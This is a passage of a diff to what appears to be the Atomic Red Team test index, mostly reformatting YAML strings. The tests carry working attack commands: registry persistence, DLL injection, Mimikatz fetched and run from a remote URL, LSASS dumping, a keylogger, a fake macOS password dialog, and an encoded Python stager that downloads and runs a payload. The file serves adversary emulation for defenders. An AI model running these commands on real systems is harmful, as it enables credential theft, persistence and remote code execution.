File Execution Options\#{target_binary}" /v Debugger /d "#{payload_binary}"
'
- name: IFEO GLobal Flags
description: |
Leverage Global Flags Settings
description: 'Leverage Global Flags Settings
'
supported_platforms:
- windows
input_arguments:
@@ -8315,8 +8649,14 @@ privilege-escalation:
default: cmd.exe
executor:
name: command_prompt
command: |
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v GlobalFlag /t REG_DWORD /d 512 REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v ReportingMode /t REG_DWORD /d 1 REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v MonitorProcess /d "#{payload_binary}"
command: 'REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\#{target_binary}" /v GlobalFlag /t REG_DWORD /d 512
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}"
/v ReportingMode /t REG_DWORD /d 1 REG ADD "HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v MonitorProcess
/d "#{payload_binary}"
'
T1160:
technique:
name: Launch Daemon
@@ -8385,8 +8725,9 @@ privilege-escalation:
identifier: T1160
atomic_tests:
- name: Launch Daemon
description: |
TODO
description: 'TODO
'
supported_platforms:
- macos
executor:
@@ -8479,8 +8820,9 @@ privilege-escalation:
identifier: T1050
atomic_tests:
- name: Service Installation
description: |
Installs A Local Service
description: 'Installs A Local Service
'
supported_platforms:
- windows
input_arguments:
@@ -8500,8 +8842,9 @@ privilege-escalation:
sc.exe stop #{service_name}
sc.exe delete #{service_name}
- name: Service Installation PowerShell Installs A Local Service using PowerShell
description: |
Installs A Local Service via PowerShell
description: 'Installs A Local Service via PowerShell
'
supported_platforms:
- windows
input_arguments:
@@ -8583,8 +8926,9 @@ privilege-escalation:
identifier: T1150
atomic_tests:
- name: Plist Modification
description: |
TODO
description: 'TODO
'
supported_platforms:
- macos
executor:
@@ -8753,8 +9097,9 @@ privilege-escalation:
identifier: T1055
atomic_tests:
- name: Process Injection via mavinject.exe
description: |
Windows 10 Utility To Inject DLLS
description: 'Windows 10 Utility To Inject DLLS
'
supported_platforms:
- windows
input_arguments:
@@ -8768,11 +9113,13 @@ privilege-escalation:
default: "$pid"
executor:
name: powershell
command: |
mavinject $pid /INJECTRUNNING #{dll_payload}
command: 'mavinject $pid /INJECTRUNNING #{dll_payload}
'
- name: Process Injection via PowerSploit
description: |
PowerShell Injection using [PowerSploit Invoke-DLLInjection](https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-DllInjection.ps1)
description: 'PowerShell Injection using [PowerSploit Invoke-DLLInjection](https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-DllInjection.ps1)
'
supported_platforms:
- windows
input_arguments:
@@ -8786,8 +9133,9 @@ privilege-escalation:
default: "$pid"
executor:
name: powershell
command: |
Invoke-DllInjection.ps1 -ProcessID #{process_id} -Dll #{dll_payload}
command: 'Invoke-DllInjection.ps1 -ProcessID #{process_id} -Dll #{dll_payload}
'
T1053:
technique:
name: Scheduled Task
@@ -8887,8 +9235,9 @@ privilege-escalation:
- windows
executor:
name: command_prompt
command: |
at 13:20 /interactive cmd
command: 'at 13:20 /interactive cmd
'
- name: Scheduled task Local
description: ''
supported_platforms:
@@ -8904,11 +9253,13 @@ privilege-escalation:
default: 72600
executor:
name: command_prompt
command: |
SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}
command: 'SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}
'
- name: Scheduled task Remote
description: |
Create a task on a remote system
description: 'Create a task on a remote system
'
supported_platforms:
- windows
input_arguments:
@@ -8934,8 +9285,10 @@ privilege-escalation:
default: At0micStrong
executor:
name: command_prompt
command: |
SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN "Atomic task" /TR "#{task_command}" /SC daily /ST #{time}
command: 'SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN
"Atomic task" /TR "#{task_command}" /SC daily /ST #{time}
'
T1166:
technique:
name: Setuid and Setgid
@@ -8982,8 +9335,9 @@ privilege-escalation:
identifier: T1166
atomic_tests:
- name: Setuid and Setgid
description: |
Setuid and Setgid
description: 'Setuid and Setgid
'
supported_platforms:
- macos
- centos
@@ -9071,11 +9425,14 @@ privilege-escalation:
- macos
executor:
name: manual
steps: |
1. /Library/StartupItems/StartupParameters.plist
steps: '1. /Library/StartupItems/StartupParameters.plist
'
- name: Startup Items (emond rule)
description: |
Establish persistence via a rule run by emond daemon at startup, based on https://posts.specterops.io/leveraging-emond-on-macos-for-persistence-a040a2785124
description: 'Establish persistence via a rule run by emond daemon at startup,
based on https://posts.specterops.io/leveraging-emond-on-macos-for-persistence-a040a2785124
'
supported_platforms:
- macos
input_arguments:
@@ -9138,8 +9495,9 @@ privilege-escalation:
identifier: T1169
atomic_tests:
- name: Sudo usage
description: |
Common Sudo enumeration methods.
description: 'Common Sudo enumeration methods.
'
supported_platforms:
- macos
- linux
@@ -9216,8 +9574,11 @@ privilege-escalation:
identifier: T1206
atomic_tests:
- name: Unlimited sudo cache timeout
description: |
Sets sudo caching timestamp_timeout to a value for unlimited. This is dangerous to modify without using 'visudo', do not do this on a production system.
description: 'Sets sudo caching timestamp_timeout to a value for unlimited.
This is dangerous to modify without using ''visudo'', do not do this on a
production system.
'
supported_platforms:
- macos
- linux
@@ -9227,8 +9588,10 @@ privilege-escalation:
sudo sed -i 's/env_reset.*$/env_reset,timestamp_timeout=-1/' /etc/sudoers
sudo visudo -c -f /etc/sudoers
- name: Disable tty_tickets for sudo caching
description: |
Sets sudo caching tty_tickets value to disabled. This is dangerous to modify without using 'visudo', do not do this on a production system.
description: 'Sets sudo caching tty_tickets value to disabled. This is dangerous
to modify without using ''visudo'', do not do this on a production system.
'
supported_platforms:
- macos
- linux
@@ -9297,8 +9660,9 @@ discovery:
identifier: T1087
atomic_tests:
- name: List all accounts
description: |
xxx
description: 'xxx
'
supported_platforms:
- linux
- macos
@@ -9309,11 +9673,13 @@ discovery:
default: "~/loot.txt"
executor:
name: sh
command: |
cat /etc/passwd > #{output_file}
command: 'cat /etc/passwd > #{output_file}
'
- name: View sudoers access
description: |
xxx (requires root)
description: 'xxx (requires root)
'
supported_platforms:
- linux
- macos
@@ -9324,11 +9690,13 @@ discovery:
default: "~/loot.txt"
executor:
name: sh
command: |
cat /etc/sudoers > #{output_file}
command: 'cat /etc/sudoers > #{output_file}
'
- name: View accounts with UID 0
description: |
xxx
description: 'xxx
'
supported_platforms:
- linux
- macos
@@ -9339,21 +9707,25 @@ discovery:
default: "~/loot.txt"
executor:
name: sh
command: |
grep 'x:0:' /etc/passwd > #{output_file}
command: 'grep ''x:0:'' /etc/passwd > #{output_file}
'
- name: List opened files by user
description: |
xxx
description: 'xxx
'
supported_platforms:
- linux
- macos
executor:
name: sh
command: |
username=$(echo $HOME | awk -F'/' '{print $3}') && lsof -u $username
command: 'username=$(echo $HOME | awk -F''/'' ''{print $3}'') && lsof -u $username
'
- name: Show if a user account has ever logger in remotely
description: |
xxx
description: 'xxx
'
supported_platforms:
- linux
- macos
@@ -9364,11 +9736,13 @@ discovery:
default: "~/loot.txt"
executor:
name: sh
command: |
lastlog > #{output_file}
command: 'lastlog > #{output_file}
'
- name: Enumerate Groups and users
description: |
utilize local utilities to identify users and groups
description: 'utilize local utilities to identify users and groups
'
supported_platforms:
- linux
- macos
@@ -9383,8 +9757,9 @@ discovery:
dscacheutil -q group
dscacheutil -q user
- name: Enumerate all user accounts
description: |
List all accounts
description: 'List all accounts
'
supported_platforms:
- windows
executor:
@@ -9397,8 +9772,9 @@ discovery:
net localgroup "Users"
net localgroup
- name: Enumerate all user accounts - PowerShell
description: |
List all accounts with PowerShell
description: 'List all accounts with PowerShell
'
supported_platforms:
- windows
executor:
@@ -9416,23 +9792,27 @@ discovery:
get-localgroup
net localgroup
- name: Get logged on Users
description: |
List logged on users
description: 'List logged on users
'
supported_platforms:
- windows
executor:
name: command_prompt
command: |
query user
command: 'query user
'
- name: Get logged on users PowerShell
description: |
List logged on users powershell
description: 'List logged on users powershell
'
supported_platforms:
- windows
executor:
name: powershell
command: |
query user
command: 'query user
'
'':
technique:
name: Peripheral Device Discovery
@@ -9518,23 +9898,31 @@ discovery:
identifier: T1217
atomic_tests:
- name: List Mozilla Firefox Bookmark Database Files on Linux
description: |
Searches for Mozilla Firefox's places.sqlite file (on Linux distributions) that contains bookmarks and lists any found instances to a text file.
description: 'Searches for Mozilla Firefox''s places.sqlite file (on Linux distributions)
that contains bookmarks and lists any found instances to a text file.
'
supported_platforms:
- linux
executor:
name: sh
command: |
find / -path "*.mozilla/firefox/*/places.sqlite" -exec echo {} >> /tmp/firefox-bookmarks.txt \;
command: 'find / -path "*.mozilla/firefox/*/places.sqlite" -exec echo {} >>
/tmp/firefox-bookmarks.txt \;
'
- name: List Mozilla Firefox Bookmark Database Files on macOS
description: |
Searches for Mozilla Firefox's places.sqlite file (on macOS) that contains bookmarks and lists any found instances to a text file.
description: 'Searches for Mozilla Firefox''s places.sqlite file (on macOS)
that contains bookmarks and lists any found instances to a text file.
'
supported_platforms:
- macos
executor:
name: sh
command: |
find / -path "*/Firefox/Profiles/*/places.sqlite" -exec echo {} >> /tmp/firefox-bookmarks.txt \;
command: 'find / -path "*/Firefox/Profiles/*/places.sqlite" -exec echo {}
>> /tmp/firefox-bookmarks.txt \;
'
T1083:
technique:
name: File and Directory Discovery
@@ -9595,8 +9983,9 @@ discovery:
identifier: T1083
atomic_tests:
- name: File and Directory Discovery
description: |
Find or discover files on the file system
description: 'Find or discover files on the file system
'
supported_platforms:
- windows
executor:
@@ -9611,8 +10000,9 @@ discovery:
dir "%userprofile%\Desktop\*.*" >> %temp%\download
tree /F >> %temp%\download
- name: File and Directory Discovery
description: |
Find or discover files on the file system
description: 'Find or discover files on the file system
'
supported_platforms:
- windows
executor:
@@ -9644,8 +10034,9 @@ discovery:
locate *
which sh
- name: Nix File and Directory Discovery
description: |
Find or discover files on the file system
description: 'Find or discover files on the file system
'
supported_platforms:
- macos
- linux
@@ -9702,8 +10093,9 @@ discovery:
identifier: T1046
atomic_tests:
- name: Port Scan
description: |
Scan ports to check for listening ports
description: 'Scan ports to check for listening ports
'
supported_platforms:
- linux
- macos
@@ -9715,8 +10107,9 @@ discovery:
echo >/dev/tcp/192.168.1.1/$port && echo "port $port is open" || echo "port $port is closed" : ;
done
- name: Port Scan Nmap
description: |
Scan ports to check for listening ports with Nmap.
description: 'Scan ports to check for listening ports with Nmap.
'
supported_platforms:
- linux
- macos
@@ -9801,8 +10194,9 @@ discovery:
identifier: T1135
atomic_tests:
- name: Network Share Discovery
description: |
Network Share Discovery
description: 'Network Share Discovery
'
supported_platforms:
- macos
- linux
@@ -9818,8 +10212,9 @@ discovery:
smbutil view -g //#{computer_name}
showmount #{computer_name}
- name: Network Share Discovery command prompt
description: |
Network Share Discovery utilizing the command prompt
description: 'Network Share Discovery utilizing the command prompt
'
supported_platforms:
- windows
input_arguments:
@@ -9829,11 +10224,13 @@ discovery:
default: computer1
executor:
name: command_prompt
command: |
net view \\#{computer_name}
command: 'net view \\#{computer_name}
'
- name: Network Share Discovery PowerShell
description: |
Network Share Discovery utilizing PowerShell
description: 'Network Share Discovery utilizing PowerShell
'
supported_platforms:
- windows
input_arguments:
@@ -9910,26 +10307,33 @@ discovery:
identifier: T1201
atomic_tests:
- name: Examine password complexity policy - Ubuntu
description: |
Lists the password complexity policy to console on Ubuntu Linux.
description: 'Lists the password complexity policy to console on Ubuntu Linux.
'
supported_platforms:
- ubuntu
executor:
name: bash
command: |
cat /etc/pam.d/common-password
command: 'cat /etc/pam.d/common-password
'
- name: Examine password complexity policy - CentOS/RHEL 7.x
description: |
Lists the password complexity policy to console on CentOS/RHEL 7.x Linux.
description: 'Lists the password complexity policy to console on CentOS/RHEL
7.x Linux.
'
supported_platforms:
- centos
executor:
name: bash
command: |
cat /etc/security/pwquality.conf
command: 'cat /etc/security/pwquality.conf
'
- name: Examine password complexity policy - CentOS/RHEL 6.x
description: |
Lists the password complexity policy to console on CentOS/RHEL 6.x Linux.
description: 'Lists the password complexity policy to console on CentOS/RHEL
6.x Linux.
'
supported_platforms:
- centos
executor:
@@ -9939,14 +10343,16 @@ discovery:
cat /etc/security/pwquality.conf
- name: Examine password expiration policy - All Linux
description: |
Lists the password expiration policy to console on CentOS/RHEL/Ubuntu.
description: 'Lists the password expiration policy to console on CentOS/RHEL/Ubuntu.
'
supported_platforms:
- linux
executor:
name: bash
command: |
cat /etc/login.defs
command: 'cat /etc/login.defs
'
T1069:
technique:
name: Permission Groups Discovery
@@ -9996,8 +10402,9 @@ discovery:
identifier: T1069
atomic_tests:
- name: Permission Groups Discovery
description: |
Permission Groups Discovery
description: 'Permission Groups Discovery
'
supported_platforms:
- macos
- linux
@@ -10008,8 +10415,9 @@ discovery:
dscl . -list /Groups
groups
- name: Permission Groups Discovery Windows
description: |
Permission Groups Discovery for Windows
description: 'Permission Groups Discovery for Windows
'
supported_platforms:
- windows
executor:
@@ -10018,8 +10426,9 @@ discovery:
net localgroup
net group /domain
- name: Permission Groups Discovery PowerShell
description: |
Permission Groups Discovery utilizing PowerShell
description: 'Permission Groups Discovery utilizing PowerShell
'
supported_platforms:
- windows
input_arguments:
@@ -10087,8 +10496,9 @@ discovery:
identifier: T1057
atomic_tests:
- name: Process Discovery - ps
description: |
Utilize ps to identify processes
description: 'Utilize ps to identify processes
'
supported_platforms:
- macos
- centos
@@ -10249,8 +10659,9 @@ discovery:
identifier: T1018
atomic_tests:
- name: Remote System Discovery - net
description: |
Identify remote systems with net.exe
description: 'Identify remote systems with net.exe
'
supported_platforms:
- windows
executor:
@@ -10259,43 +10670,52 @@ discovery:
net view /domain
net view
- name: Remote System Discover - ping sweep
description: |
Identify remote systems via ping sweep
description: 'Identify remote systems via ping sweep
'
supported_platforms:
- windows
executor:
name: command_prompt
command: |
for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i
command: 'for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i
'
- name: Remote System Discover - arp
description: |
Identify remote systems via arp
description: 'Identify remote systems via arp
'
supported_platforms:
- windows
executor:
name: command_prompt
command: |
arp -a
command: 'arp -a
'
- name: Remote System Discovery - arp nix
description: |
Identify remote systems via arp
description: 'Identify remote systems via arp
'
supported_platforms:
- linux
- macos
executor:
name: sh
command: |
arp -a | grep -v '^?'
command: 'arp -a | grep -v ''^?''
'
- name: Remote System Discovery - sweep
description: |
Identify remote systems via ping sweep
description: 'Identify remote systems via ping sweep
'
supported_platforms:
- linux
- macos
executor:
name: sh
command: |
for ip in $(seq 1 254); do ping -c 1 192.168.1.$ip -o; [ $? -eq 0 ] && echo "192.168.1.$ip UP" || : ; done
command: 'for ip in $(seq 1 254); do ping -c 1 192.168.1.$ip -o; [ $? -eq
0 ] && echo "192.168.1.$ip UP" || : ; done
'
T1063:
technique:
name: Security Software Discovery
@@ -10347,8 +10767,9 @@ discovery:
identifier: T1063
atomic_tests:
- name: Security Software Discovery
description: |
Methods to identify Security Software on an endpoint
description: 'Methods to identify Security Software on an endpoint
'
supported_platforms:
- windows
executor:
@@ -10361,8 +10782,9 @@ discovery:
tasklist.exe | findstr /i defender
tasklist.exe | findstr /i cylance
- name: Security Software Discovery - powershell
description: |
Methods to identify Security Software on an endpoint
description: 'Methods to identify Security Software on an endpoint
'
supported_platforms:
- windows
executor:
@@ -10373,8 +10795,9 @@ discovery:
get-process | ?{$_.Description -like "*defender*"}
get-process | ?{$_.Description -like "*cylance*"}
- name: Security Software Discovery - ps
description: |
Methods to identify Security Software on an endpoint
description: 'Methods to identify Security Software on an endpoint
'
supported_platforms:
- linux
- macos
@@ -10384,8 +10807,10 @@ discovery:
ps -ef | grep Little\ Snitch | grep -v grep
ps aux | grep CbOsxSensorService
- name: Security Software Discovery - Sysmon Service
description: |
Discovery of an installed Sysinternals Sysmon service using driver altitude (even if the name is changed).
description: 'Discovery of an installed Sysinternals Sysmon service using driver
altitude (even if the name is changed).
'
supported_platforms:
- windows
executor:
@@ -10440,8 +10865,9 @@ discovery:
identifier: T1082
atomic_tests:
- name: System Information Discovery
description: |
Identify System Info
description: 'Identify System Info
'
supported_platforms:
- windows
executor:
@@ -10450,8 +10876,9 @@ discovery:
systeminfo
reg query HKLM\SYSTEM\CurrentControlSet\Services\Disk\Enum
- name: System Information Discovery
description: |
Identify System Info
description: 'Identify System Info
'
supported_platforms:
- linux
- macos
@@ -10462,8 +10889,9 @@ discovery:
system_profiler
ls -al /Applications
- name: List OS Information
description: |
Identify System Info
description: 'Identify System Info
'
supported_platforms:
- linux
- macos
@@ -10515,8 +10943,9 @@ discovery:
identifier: T1016
atomic_tests:
- name: System Network Configuration Discovery
description: |
Identify network configuration information
description: 'Identify network configuration information
'
supported_platforms:
- windows
executor:
@@ -10528,8 +10957,9 @@ discovery:
nbtstat -n
net config
- name: System Network Configuration Discovery
description: |
Identify network configuration information
description: 'Identify network configuration information
'
supported_platforms:
- macos
- linux
@@ -10588,8 +11018,9 @@ discovery:
identifier: T1049
atomic_tests:
- name: System Network Connections Discovery
description: |
Get a listing of network connections.
description: 'Get a listing of network connections.
'
supported_platforms:
- windows
executor:
@@ -10599,17 +11030,20 @@ discovery:
net use
net sessions
- name: System Network Connections Discovery with PowerShell
description: |
Get a listing of network connections.
description: 'Get a listing of network connections.
'
supported_platforms:
- windows
executor:
name: powershell
command: |
Get-NetTCPConnection
command: 'Get-NetTCPConnection
'
- name: System Network Connections Discovery Linux & MacOS
description: |
Get a listing of network connections.
description: 'Get a listing of network connections.
'
supported_platforms:
- linux
- macos
@@ -10671,8 +11105,9 @@ discovery:
identifier: T1033
atomic_tests:
- name: System Owner/User Discovery
description: |
Identify System owner or users on an endpoint
description: 'Identify System owner or users on an endpoint
'
supported_platforms:
- windows
input_arguments:
@@ -10692,8 +11127,9 @@ discovery:
for /F "tokens=1,2" %i in ('qwinsta /server:#{computer_name} ^| findstr "Active Disc"') do @echo %i | find /v "#" | find /v "console" || echo %j > usernames.txt
@FOR /F %n in (computers.txt) DO @FOR /F "tokens=1,2" %i in ('qwinsta /server:%n ^| findstr "Active Disc"') do @echo %i | find /v "#" | find /v "console" || echo %j > usernames.txt
- name: System Owner/User Discovery
description: |
Identify System owner or users on an endpoint
description: 'Identify System owner or users on an endpoint
'
supported_platforms:
- linux
- macos
@@ -10744,8 +11180,9 @@ discovery:
identifier: T1007
atomic_tests:
- name: System Service Discovery
description: |
Identify system services
description: 'Identify system services
'
supported_platforms:
- windows
input_arguments:
@@ -10813,8 +11250,9 @@ discovery:
identifier: T1124
atomic_tests:
- name: System Time Discovery
description: |
Identify the system time
description: 'Identify the system time
'
supported_platforms:
- windows
input_arguments:
@@ -10828,14 +11266,16 @@ discovery:
net time \\#{computer_name}
w32tm /tz
- name: System Time Discovery - PowerShell
description: |
Identify the system time via PowerShell
description: 'Identify the system time via PowerShell
'
supported_platforms:
- windows
executor:
name: powershell
command: |
Get-Date
command: 'Get-Date
'
credential-access:
T1098:
technique:
@@ -10890,8 +11330,9 @@ credential-access:
identifier: T1098
atomic_tests:
- name: Admin Account Manipulate
description: |
Manipulate Admin Account Name
description: 'Manipulate Admin Account Name
'
supported_platforms:
- windows
executor:
@@ -10956,8 +11397,9 @@ credential-access:
identifier: T1139
atomic_tests:
- name: xxxx
description: |
xxxx
description: 'xxxx
'
supported_platforms:
- linux
- macos
@@ -10977,8 +11419,10 @@ credential-access:
default: "~/loot.txt"
executor:
name: sh
command: |
cat #{bash_history_filename} | grep #{bash_history_grep_args} > #{output_file}
command: 'cat #{bash_history_filename} | grep #{bash_history_grep_args} >
#{output_file}
'
T1110:
technique:
name: Brute Force
@@ -11047,8 +11491,10 @@ credential-access:
identifier: T1110
atomic_tests:
- name: Brute Force Credentials
description: |
Creates username and password files then attempts to brute force on remote host
description: 'Creates username and password files then attempts to brute force
on remote host
'
supported_platforms:
- windows
input_arguments:
@@ -11309,8 +11755,10 @@ credential-access:
identifier: T1003
atomic_tests:
- name: Powershell Mimikatz
description: |
Dumps Credentials via Powershell by invoking a remote mimikatz script
description: 'Dumps Credentials via Powershell by invoking a remote mimikatz
script
'
supported_platforms:
- windows
input_arguments:
@@ -11320,20 +11768,25 @@ credential-access:
default: https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1
executor:
name: powershell
command: |
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
command: 'IEX (New-Object Net.WebClient).DownloadString(''#{remote_script}'');
Invoke-Mimikatz -DumpCreds
'
- name: Gsecdump
description: |
https://www.truesec.se/sakerhet/verktyg/saakerhet/gsecdump_v2.0b5
description: 'https://www.truesec.se/sakerhet/verktyg/saakerhet/gsecdump_v2.0b5
'
supported_platforms:
- windows
executor:
name: command_prompt
command: |
gsecdump -a
command: 'gsecdump -a
'
- name: Windows Credential Editor
description: |
http://www.ampliasecurity.com/research/windows-credentials-editor/
description: 'http://www.ampliasecurity.com/research/windows-credentials-editor/
'
supported_platforms:
- windows
input_arguments:
@@ -11343,8 +11796,9 @@ credential-access:
default: output.txt
executor:
name: command_prompt
command: |
wce -o #{output_file}
command: 'wce -o #{output_file}
'
- name: Registry dump of SAM, creds, and secrets
description: |
Local SAM (SAM & System), cached credentials (System & Security) and LSA secrets (System & Security) can be enumerated
@@ -11370,8 +11824,9 @@ credential-access:
default: lsass_dump.dmp
executor:
name: command_prompt
command: |
procdump.exe -accepteula -ma lsass.exe #{output_file}
command: 'procdump.exe -accepteula -ma lsass.exe #{output_file}
'
- name: Dump LSASS.exe Memory using Windows Task Manager
description: "The memory of lsass.exe is often dumped for offline credential
theft attacks. This can be achieved with the Windows Task \nManager and administrative
@@ -11481,17 +11936,18 @@ credential-access:
identifier: T1081
atomic_tests:
- name: Browser and System credentials
description: |
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
description: "[LaZagne Source](https://github.com/AlessandroZ/LaZagne)\n"
supported_platforms:
- macos
executor:
name: sh
command: |
python2 laZagne.py all
command: 'python2 laZagne.py all
'
- name: Extract credentials from files
description: |
Extracting credentials from files
description: 'Extracting credentials from files
'
input_arguments:
file_path:
description: Path to search
@@ -11502,11 +11958,14 @@ credential-access:
- linux
executor:
name: sh
command: |
grep -riP password #{file_path}
command: 'grep -riP password #{file_path}
'
- name: Mimikatz & Kittenz
description: |
Mimikatz/kittenz - This will require a Mimikatz executable or invoke-mimikittenz ps module.
description: 'Mimikatz/kittenz - This will require a Mimikatz executable or
invoke-mimikittenz ps module.
'
supported_platforms:
- windows
executor:
@@ -11515,8 +11974,9 @@ credential-access:
invoke-mimikittenz
mimikatz.exe
- name: Extracting credentials from files
description: |
Extracting Credentials from Files
description: 'Extracting Credentials from Files
'
supported_platforms:
- windows
executor:
@@ -11581,8 +12041,9 @@ credential-access:
identifier: T1214
atomic_tests:
- name: Enumeration for Credentials in Registry
description: |
Queries to enumerate for credentials in the Registry.
description: 'Queries to enumerate for credentials in the Registry.
'
supported_platforms:
- windows
executor:
@@ -11773,8 +12234,9 @@ credential-access:
identifier: T1179
atomic_tests:
- name: Hook PowerShell TLS Encrypt/Decrypt Messages
description: |
Hooks functions in PowerShell to read TLS Communications
description: 'Hooks functions in PowerShell to read TLS Communications
'
supported_platforms:
- windows
input_arguments:
@@ -11871,8 +12333,7 @@ credential-access:
default: c:\key.log
executor:
name: powershell
command: |
.\Get-Keystrokes.ps1 -LogPath #{filepath}
command: ".\\Get-Keystrokes.ps1 -LogPath #{filepath}\n"
T1141:
technique:
name: Input Prompt
@@ -11930,8 +12391,13 @@ credential-access:
- macos
executor:
name: sh
command: |
osascript -e 'tell app "System Preferences" to activate' -e 'tell app "System Preferences" to activate' -e 'tell app "System Preferences" to display dialog "Software Update requires that you type your password to apply changes." & return & return default answer "" with icon 1 with hidden answer with title "Software Update"'
command: 'osascript -e ''tell app "System Preferences" to activate'' -e ''tell
app "System Preferences" to activate'' -e ''tell app "System Preferences"
to display dialog "Software Update requires that you type your password
to apply changes." & return & return default answer "" with icon 1 with
hidden answer with title "Software Update"''
'
T1142:
technique:
name: Keychain
@@ -12045,8 +12511,10 @@ credential-access:
identifier: T1040
atomic_tests:
- name: Packet Capture Linux
description: |
Perform a PCAP. Wireshark will be required for tshark. TCPdump may already be installed.
description: 'Perform a PCAP. Wireshark will be required for tshark. TCPdump
may already be installed.
'
supported_platforms:
- linux
input_arguments:
@@ -12060,8 +12528,10 @@ credential-access:
tcpdump -c 5 -nnni #{interface}
tshark -c 5 -i #{interface}
- name: Packet Capture MacOS
description: |
Perform a PCAP on MacOS. This will require Wireshark/tshark to be installed. TCPdump may already be installed.
description: 'Perform a PCAP on MacOS. This will require Wireshark/tshark to
be installed. TCPdump may already be installed.
'
supported_platforms:
- macos
input_arguments:
@@ -12244,8 +12714,10 @@ execution:
- macos
executor:
name: sh
command: |
osascript "do shell script "echo \"import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('aW1wb3J0IHN5cztpbXBvcnQgcmUsIHN1YnByb2Nlc3M7Y21kID0gInBzIC1lZiB8IGdyZXAgTGl0dGxlXCBTbml0Y2ggfCBncmVwIC12IGdyZXAiCnBzID0gc3VicHJvY2Vzcy5Qb3BlbihjbWQsIHNoZWxsPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUpCm91dCA9IHBzLnN0ZG91dC5yZWFkKCkKcHMuc3Rkb3V0LmNsb3NlKCkKaWYgcmUuc2VhcmNoKCJMaXR0bGUgU25pdGNoIiwgb3V0KToKICAgc3lzLmV4aXQoKQppbXBvcnQgdXJsbGliMjsKVUE9J01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IFRyaWRlbnQvNy4wOyBydjoxMS4wKSBsaWtlIEdlY2tvJztzZXJ2ZXI9J2h0dHA6Ly8xMjcuMC4wLjE6ODAnO3Q9Jy9sb2dpbi9wcm9jZXNzLnBocCc7cmVxPXVybGxpYjIuUmVxdWVzdChzZXJ2ZXIrdCk7CnJlcS5hZGRfaGVhZGVyKCdVc2VyLUFnZW50JyxVQSk7CnJlcS5hZGRfaGVhZGVyKCdDb29raWUnLCJzZXNzaW9uPXQzVmhWT3MvRHlDY0RURnpJS2FuUnhrdmszST0iKTsKcHJveHkgPSB1cmxsaWIyLlByb3h5SGFuZGxlcigpOwpvID0gdXJsbGliMi5idWlsZF9vcGVuZXIocHJveHkpOwp1cmxsaWIyLmluc3RhbGxfb3BlbmVyKG8pOwphPXVybGxpYjIudXJsb3BlbihyZXEpLnJlYWQoKTsKSVY9YVswOjRdO2RhdGE9YVs0Ol07a2V5PUlWKyc4Yzk0OThmYjg1YmQ1MTE5ZGQ5ODQ4MTJlZTVlOTg5OSc7UyxqLG91dD1yYW5nZSgyNTYpLDAsW10KZm9yIGkgaW4gcmFuZ2UoMjU2KToKICAgIGo9KGorU1tpXStvcmQoa2V5W2klbGVuKGtleSldKSklMjU2CiAgICBTW2ldLFNbal09U1tqXSxTW2ldCmk9aj0wCmZvciBjaGFyIGluIGRhdGE6CiAgICBpPShpKzEpJTI1NgogICAgaj0oaitTW2ldKSUyNTYKICAgIFNbaV0sU1tqXT1TW2pdLFNbaV0KICAgIG91dC5hcHBlbmQoY2hyKG9yZChjaGFyKV5TWyhTW2ldK1Nbal0pJTI1Nl0pKQpleGVjKCcnLmpvaW4ob3V0KSkK'));\" | python &""
command: 'osascript "do shell script "echo \"import sys,base64,warnings;warnings.filterwarnings(''ignore'');exec(base64.b64decode(''aW1wb3J0IHN5cztpbXBvcnQgcmUsIHN1YnByb2Nlc3M7Y21kID0gInBzIC1lZiB8IGdyZXAgTGl0dGxlXCBTbml0Y2ggfCBncmVwIC12IGdyZXAiCnBzID0gc3VicHJvY2Vzcy5Qb3BlbihjbWQsIHNoZWxsPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUpCm91dCA9IHBzLnN0ZG91dC5yZWFkKCkKcHMuc3Rkb3V0LmNsb3NlKCkKaWYgcmUuc2VhcmNoKCJMaXR0bGUgU25pdGNoIiwgb3V0KToKICAgc3lzLmV4aXQoKQppbXBvcnQgdXJsbGliMjsKVUE9J01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IFRyaWRlbnQvNy4wOyBydjoxMS4wKSBsaWtlIEdlY2tvJztzZXJ2ZXI9J2h0dHA6Ly8xMjcuMC4wLjE6ODAnO3Q9Jy9sb2dpbi9wcm9jZXNzLnBocCc7cmVxPXVybGxpYjIuUmVxdWVzdChzZXJ2ZXIrdCk7CnJlcS5hZGRfaGVhZGVyKCdVc2VyLUFnZW50JyxVQSk7CnJlcS5hZGRfaGVhZGVyKCdDb29raWUnLCJzZXNzaW9uPXQzVmhWT3MvRHlDY0RURnpJS2FuUnhrdmszST0iKTsKcHJveHkgPSB1cmxsaWIyLlByb3h5SGFuZGxlcigpOwpvID0gdXJsbGliMi5idWlsZF9vcGVuZXIocHJveHkpOwp1cmxsaWIyLmluc3RhbGxfb3BlbmVyKG8pOwphPXVybGxpYjIudXJsb3BlbihyZXEpLnJlYWQoKTsKSVY9YVswOjRdO2RhdGE9YVs0Ol07a2V5PUlWKyc4Yzk0OThmYjg1YmQ1MTE5ZGQ5ODQ4MTJlZTVlOTg5OSc7UyxqLG91dD1yYW5nZSgyNTYp